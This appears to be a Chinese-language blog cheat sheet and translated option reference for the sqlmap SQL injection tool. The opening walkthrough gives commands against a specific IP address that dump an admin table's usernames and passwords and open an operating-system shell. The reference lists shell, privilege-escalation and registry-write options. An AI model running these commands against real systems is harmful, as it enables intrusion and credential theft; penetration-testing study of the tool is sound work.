1、查询数据
./sqlmap.py -u “http://118.184.30.149/sql_server.asp?qx=sa&id=1” sqlmap 提示 do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] 选 y
提示参数 id 有漏洞,是否要保持其它测试,按 y 回车确定 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
获取所有数据库名 因为已经知道数据库名为微软的 sql server,为了加快检测速度,指定数据库参数 --dbms=mssql ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --dbs
当前网页连接数据库名 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --current-db
指定数据库所有表 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --table -D "testdb"
读取指定表中的字段名 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql -D "testdb" -T "admin" --columns
读取指定字段内容 ./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql -D "testdb" -T "admin" --dump -C "username,password"
2、执行系统命令
./sqlmap.py -u "http://118.184.30.149/sql_server.asp?qx=sa&id=1" --dbms=mssql --os-shell --threads=10
3、常见参数
注入点 HTTP 指定请求方法检测 POST --data="password=88952634&rem=on&username=88952634"
Cookie --cookie "cookie value" 登录检测
注入查询数据技术 --technique=U 指定 Union 技术
注入 HTTP 所有方法注入检测 --level3 检测 HTTP 方法深度,GET、POST、Cookie、User-agent 和 Referer
Base64 编码 url 注入点 sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py
检测 DBMS 当前用户是否 DBA(注入点执行操作系统命令一般需要 DBA 权限) --is-dba
从不询问用户输入,使用所有默认配置 --batch
默认最大线程数为 10 --threads=10
1. #HiRoot's Blog
2. Options(选项):
3. --version 显示程序的版本号并退出
4. -h, --help 显示此帮助消息并退出
5. -v VERBOSE 详细级别:0-6(默认为 1)
6. 7. Target(目标):
8. 以下至少需要设置其中一个选项,设置目标 URL。
9.
10. -d DIRECT 直接连接到数据库。
11. -u URL, --url=URL 目标 URL。
12. -l LIST 从 Burp 或 WebScarab 代理的日志中解析目标。
13. -r REQUESTFILE 从一个文件中载入 HTTP 请求。
14. -g GOOGLEDORK 处理 Google dork 的结果作为目标 URL。
15. -c CONFIGFILE 从 INI 配置文件中加载选项。
16.
17. Request(请求)
18. 这些选项可以用来指定如何连接到目标 URL。
19.
20. --data=DATA 通过 POST 发送的数据字符串
21. --cookie=COOKIE HTTP Cookie 头
22. --cookie-urlencode URL 编码生成的 cookie 注入
23. --drop-set-cookie 忽略响应的 Set - Cookie 头信息
24. --user-agent=AGENT 指定 HTTP User - Agent 头
25. --random-agent 使用随机选定的 HTTP User - Agent 头
26. --referer=REFERER 指定 HTTP Referer 头
27. --headers=HEADERS 换行分开,加入其他的 HTTP 头
28. --auth-type=ATYPE HTTP 身份验证类型(基本,摘要或 NTLM)
(Basic, Digest or NTLM)
29. --auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
30. --auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
31. --proxy=PROXY 使用 HTTP 代理连接到目标 URL
32. --proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
33. --ignore-proxy 忽略系统默认的 HTTP 代理
34. --delay=DELAY 在每个 HTTP 请求之间的延迟时间,单位为秒
35. --timeout=TIMEOUT 等待连接超时的时间(默认为 30 秒)
36. --retries=RETRIES 连接超时后重新连接的时间(默认 3)
37. --scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
38. --safe-url=SAFURL 在测试过程中经常访问的 url 地址
39. --safe-freq=SAFREQ 两次访问之间测试请求,给出安全的 URL
40. 41. Optimization(优化):
42. 这些选项可用于优化 SqlMap 的性能。
43.
44. -o 开启所有优化开关
45. --predict-output 预测常见的查询输出
46. --keep-alive 使用持久的 HTTP(S)连接
47. --null-connection 从没有实际的 HTTP 响应体中检索页面长度
48. --threads=THREADS 最大的 HTTP(S)请求并发量(默认为 1)
49. 50. Injection(注入):
51. 这些选项可以用来指定测试哪些参数, 提供自定义的注入 payloads 和可选篡改脚 本。
52.
53. -p TESTPARAMETER 可测试的参数(S)
54. --dbms=DBMS 强制后端的 DBMS 为此值
55. --os=OS 强制后端的 DBMS 操作系统为这个值
56. --prefix=PREFIX 注入 payload 字符串前缀
57. --suffix=SUFFIX 注入 payload 字符串后缀
58. --tamper=TAMPER 使用给定的脚本(S)篡改注入数据
59. 60. Detection(检测):
61. 这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。
62.
63. --level=LEVEL 执行测试的等级(1-5,默认为 1)
64. --risk=RISK 执行测试的风险(0-3,默认为 1)
65. --string=STRING 查询时有效时在页面匹配字符串
66. --regexp=REGEXP 查询时有效时在页面匹配正则表达式
67. --text-only 仅基于在文本内容比较网页
68. 69. Techniques(技巧):
70. 这些选项可用于调整具体的 SQL 注入测试。
71. 72. --technique=TECH SQL 注入技术测试(默认 BEUST)
73. --time-sec=TIMESEC DBMS 响应的延迟时间(默认为 5 秒)
74. --union-cols=UCOLS 定列范围用于测试 UNION 查询注入
75. --union-char=UCHAR 用于暴力猜解列数的字符
76. 77. Fingerprint(指纹):
78. -f, --fingerprint 执行检查广泛的 DBMS 版本指纹
79. 80. Enumeration(枚举):
81. 这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您 还可以运行您自己
82. 的 SQL 语句。
83. -b, --banner 检索数据库管理系统的标识
84. --current-user 检索数据库管理系统当前用户
85. --current-db 检索数据库管理系统当前数据库
86. --is-dba 检测 DBMS 当前用户是否 DBA
87. --users 枚举数据库管理系统用户
88. --passwords 枚举数据库管理系统用户密码哈希
89. --privileges 枚举数据库管理系统用户的权限
90. --roles 枚举数据库管理系统用户的角色
91. --dbs 枚举数据库管理系统数据库
92. --tables 枚举的 DBMS 数据库中的表
93. --columns 枚举 DBMS 数据库表列
94. --dump 转储数据库管理系统的数据库中的表项
95. --dump-all 转储所有的 DBMS 数据库表中的条目
96. --search 搜索列(S),表(S)和/或数据库名称(S)
97. -D DB 要进行枚举的数据库名
98. -T TBL 要进行枚举的数据库表
99. -C COL 要进行枚举的数据库列
100. -U USER 用来进行枚举的数据库用户
101. --exclude-sysdbs 枚举表时排除系统数据库
102. --start=LIMITSTART 第一个查询输出进入检索
103. --stop=LIMITSTOP 最后查询的输出进入检索
104. --first=FIRSTCHAR 第一个查询输出字的字符检索
105. --last=LASTCHAR 最后查询的输出字字符检索
106. --sql-query=QUERY 要执行的 SQL 语句
107. --sql-shell 提示交互式 SQL 的 shell
108. 109. Brute force(蛮力):
110. 这些选项可以被用来运行蛮力检查。
111. 112. --common-tables 检查存在共同表
113. --common-columns 检查存在共同列
114. 115. User-defined function injection(用户自定义函数注入):
116. 这些选项可以用来创建用户自定义函数。
117. 118. --udf-inject 注入用户自定义函数
119. --shared-lib=SHLIB 共享库的本地路径
120. 121. File system access(访问文件系统):
122. 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
123. 124. --file-read=RFILE 从后端的数据库管理系统文件系统读取文件 125. --file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 126. --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
127. 128. Operating system access(操作系统访问):
129. 这些选项可以用于访问后端数据库管理系统的底层操作系统。
130. 131. --os-cmd=OSCMD 执行操作系统命令
132. --os-shell 交互式的操作系统的 shell
133. --os-pwn 获取一个 OOB shell,meterpreter 或 VNC
134. --os-smbrelay 一键获取一个 OOB shell,meterpreter 或 VNC
135. --os-bof 存储过程缓冲区溢出利用
136. --priv-esc 数据库进程用户权限提升
137. --msf-path=MSFPATH Metasploit Framework 本地的安装路径
138. --tmp-path=TMPPATH 远程临时文件目录的绝对路径
139. 140. Windows 注册表访问:
141. 这些选项可以被用来访问后端数据库管理系统 Windows 注册表。
142. 143. --reg-read 读一个 Windows 注册表项值
144. --reg-add 写一个 Windows 注册表项值数据
145. --reg-del 删除 Windows 注册表键值
146. --reg-key=REGKEY Windows 注册表键
147. --reg-value=REGVAL Windows 注册表项值
148. --reg-data=REGDATA Windows 注册表键值数据
149. --reg-type=REGTYPE Windows 注册表项值类型
150. 151. General(一般):
152. 153. 这些选项可以用来设置一些一般的工作参数。
154. -t TRAFFICFILE 记录所有 HTTP 流量到一个文本文件中
155. -s SESSIONFILE 保存和恢复检索会话文件的所有数据
156. --flush-session 刷新当前目标的会话文件
157. --fresh-queries 忽略在会话文件中存储的查询结果
158. --eta 显示每个输出的预计到达时间
159. --update 更新 SqlMap 160. --save file 保存选项到 INI 配置文件
161. --batch 从不询问用户输入,使用所有默认配置。
162. 163. Miscellaneous(杂项):
164. --beep 发现 SQL 注入时提醒
165. --check-payload IDS 对注入 payloads 的检测测试
166. --cleanup SqlMap 具体的 UDF 和表清理 DBMS
167. --forms 对目标 URL 的解析和测试形式
168. --gpage=GOOGLEPAGE 从指定的页码使用谷歌 dork 结果
169. --page-rank Google dork 结果显示网页排名(PR)
170. --parse-errors 从响应页面解析数据库管理系统的错误消息
171. --replicate 复制转储的数据到一个 sqlite3 数据库
172. --tor 使用默认的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
173. --wizard 给初级用户的简单向导界面